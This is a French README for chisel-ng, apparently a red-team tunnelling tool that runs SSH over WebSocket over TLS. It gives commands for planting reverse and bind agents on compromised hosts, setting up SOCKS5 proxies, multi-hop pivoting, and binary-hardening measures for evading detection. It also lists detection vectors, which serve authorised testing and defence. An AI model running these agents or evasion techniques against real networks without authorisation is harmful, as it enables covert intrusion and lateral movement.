
Chisel nouvelle génération, écrit en Rust. SSH via WSS avec quelques personnalisations.
_ _ _
___| |__ (_)___ ___| | _ __ __ _
/ __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
| (__| | | | \__ \ __/ |_____| | | | (_| |
\___|_| |_|_|___/\___|_| |_| |_|\__, |
|___/
# chisel-ng




Une implémentation en Rust de [chisel](https://github.com/jpillora/chisel) pour les tests de pénétration et les opérations d'équipe rouge. Établit des tunnels inversés via SSH-over-WebSocket-over-TLS, permettant aux opérateurs de pivoter à travers des hôtes compromis tout en se fondant dans le trafic HTTPS normal.
---
## Table des matières
- [Démarrage rapide](#quick-start)
- [Fonctionnalités](#features)
- [Architecture](#architecture)
- [Référence d'utilisation](#usage-reference)
- [Serveur](#server-operator)
- [Client inverse](#reverse-client-agent)
- [Client bind](#bind-client-agent---inbound-mode)
- [Commandes CLI](#server-cli-commands)
- [Pivotement multi-sauts](#multi-hop-pivoting)
- [Détails techniques](#technical-details)
- [Considérations OPSEC](#opsec-considerations)
- [Avertissement](#disclaimer)
---
## Démarrage rapide
### Prérequis
- Rust 1.70+ ([rustup.rs](https://rustup.rs/))
### Compilation
```bash
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
```
Les binaires sont générés dans `target/release/` : `chisel-server`, `chisel-client`, `chisel-bind-client`
### Utilisation de base
**1. Démarrer le serveur (opérateur) :**
```bash
./chisel-server -p 'secret' -v
```
**2. Exécuter le client (cible) :**
```bash
./chisel-client -s operator.example.com:8443 -p 'secret' -k
```
**3. Créer des tunnels :**
```
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
```
**4. Accéder aux services internes :**
```bash
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
```
---
## Fonctionnalités
- **SSH over WebSocket over TLS** - Se fond dans le trafic HTTPS normal
- **Authentification par clé pré-partagée** - Authentification simple et sécurisée
- **Redirection de port dynamique** - Création de tunnels à la demande
- **Proxy SOCKS5** - Routage dynamique via les agents
- **Deux modes client** - Inverse (connexion sortante) et bind (connexion entrante)
- **Multi-plateforme** - Windows et Linux
---
## Architecture
```
+------------------+ +----------------------------------+
| Operator | | Target Network |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (over TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
```
**Pile de protocoles :**
```
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
^
apparaît comme HTTPS
```
**Modes client :**
- **Inverse** (`chisel-client`) - Se connecte au serveur en sortie
- **Bind** (`chisel-bind-client`) - Écoute les connexions entrantes ; le serveur utilise la commande `connect`
---
## Référence d'utilisation
<details>
<summary><strong>Serveur (Opérateur)</strong></summary>
```
OPTIONS:
-l, --listen <ADDR> Adresse d'écoute [default: 0.0.0.0:8443]
-p, --psk <PSK> Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
--cert <FILE> Certificat TLS (PEM)
--key <FILE> Clé privée TLS (PEM)
--generate-psk Générer une PSK aléatoire et quitter
-v, --verbose Sortie verbeuse
```
</details>
<details>
<summary><strong>Client inverse (Agent)</strong></summary>
```
OPTIONS:
-s, --server <ADDR> Adresse du serveur (hôte:port)
-p, --psk <PSK> Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
-u, --user <LABEL> Étiquette de session [default: agent]
-k, --insecure Ignorer la vérification TLS
--no-reconnect Désactiver la reconnexion automatique
-i, --interval <SECS> Intervalle de reconnexion [default: 30]
--heartbeat <SECS> Intervalle de pulsation [default: 30]
-v, --verbose Sortie verbeuse
```
</details>
<details>
<summary><strong>Client bind (Agent - Mode entrant)</strong></summary>
Pour les cibles qui peuvent accepter des connexions entrantes mais pas initier de connexions sortantes :
```
OPTIONS:
-l, --listen <ADDR> Adresse d'écoute (ex. 0.0.0.0:9000)
-p, --psk <PSK> Clé pré-partagée ou phrase de passe [env: CHISEL_PSK]
-u, --user <LABEL> Étiquette de session [default: agent]
-k, --insecure Ignorer la vérification TLS
--heartbeat <SECS> Intervalle de pulsation [default: 30]
-v, --verbose Sortie verbeuse
```
</details>
<details>
<summary><strong>Commandes CLI du serveur</strong></summary>
**Menu principal :**
```
sessions Lister les sessions connectées
session <id> Sélectionner une session
connect <ip:port> Se connecter au client bind
disconnect <id> Déconnecter la session (reconnexion automatique)
kill <id> Terminer le processus client
```
**Menu de session :**
```
tunnel <local>:<target_ip>:<target_port> Créer un tunnel
tunnel --local <local>:<target>:<port> Créer un tunnel (localhost uniquement)
tunnel stop <port> Arrêter le tunnel
tunnels Lister les tunnels
socks5 <port> Démarrer le proxy SOCKS5
socks5 stop <port> Arrêter le proxy SOCKS5
ping Mesurer la latence
ps Lister les processus distants
netstat Lister les connexions distantes
```
</details>
---
## Pivotement multi-sauts
Atteindre des réseaux isolés en enchaînant les sessions existantes.
**Scénario :** L'hôte DMZ peut atteindre l'opérateur. L'hôte interne (10.0.0.50) n'est accessible que depuis la DMZ.
```
+----------+ +-----------+ +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2 |
| Server | | (DMZ) | | (INTERNAL) |
+----------+ +-----------+ +------------+
```
**Étape 1 - Démarrer le serveur (opérateur) :**
```bash
./chisel-server -p 'secret' -v
```
**Étape 2 - Exécuter le client inverse (hôte DMZ) :**
```bash
./chisel-client -s operator.example.com:8443 -p 'secret' -k
```
**Étape 3 - Exécuter le client bind (hôte interne à 10.0.0.50) :**
```bash
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
```
**Étape 4 - Créer un tunnel et se connecter (CLI serveur) :**
```
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
```
---
## Détails techniques
<details>
<summary><strong>Comment fonctionnent les tunnels</strong></summary>
Lors de la création d'un tunnel (`tunnel 8080:192.168.1.100:80`) :
1. Le serveur lie le port local 8080
2. Sur connexion, le serveur envoie une requête CONNECT à l'agent
3. L'agent se connecte à la cible et ouvre un canal SSH direct-tcpip
4. Les données sont pontées de manière bidirectionnelle
</details>
<details>
<summary><strong>Comment fonctionne SOCKS5</strong></summary>
Destinations dynamiques via la poignée de main RFC 1928. Retourne des codes d'erreur appropriés pour des résultats de scan de ports précis.
</details>
---
## Considérations OPSEC
<details>
<summary><strong>Durcissement du binaire</strong></summary>
Les builds release sont durcis :
- **Opération silencieuse** - Toute journalisation est compilée en no-op
- **Obscurcissement des chaînes** - Les chaînes de protocole sont cryptées par XOR à la compilation
- **Suppression des symboles** - Aucun symbole de débogage ni chemin source
- **Optimisation de la taille** - ~3 Mo contre ~15 Mo en debug
- **Comportement en cas de panique** - Arrêt immédiat, aucune trace de pile
</details>
<details>
<summary><strong>Sécurité opérationnelle</strong></summary>
- **Authentification PSK** - Clé 256 bits à partir d'une phrase de passe (SHA-256) ou hexadécimal brut
- **Aucun stockage d'identifiants** - PSK uniquement via argument ou variable d'environnement
- **Reconnexion automatique** - Activée par défaut, intervalle configurable
- **Pulsation** - Keepalive configurable, désactiver avec `--heartbeat 0`
</details>
<details>
<summary><strong>Vecteurs de détection</strong></summary>
- Empreinte TLS JA3/JA4
- Modèles de mise à niveau WebSocket
- Durée de connexion prolongée
- Intervalles de pulsation constants
</details>
---
## Avertissement
Cet outil est destiné uniquement aux tests de sécurité autorisés. Obtenez les autorisations appropriées avant utilisation. Les auteurs ne sont pas responsables d'une mauvaise utilisation.
---
## Licence
MIT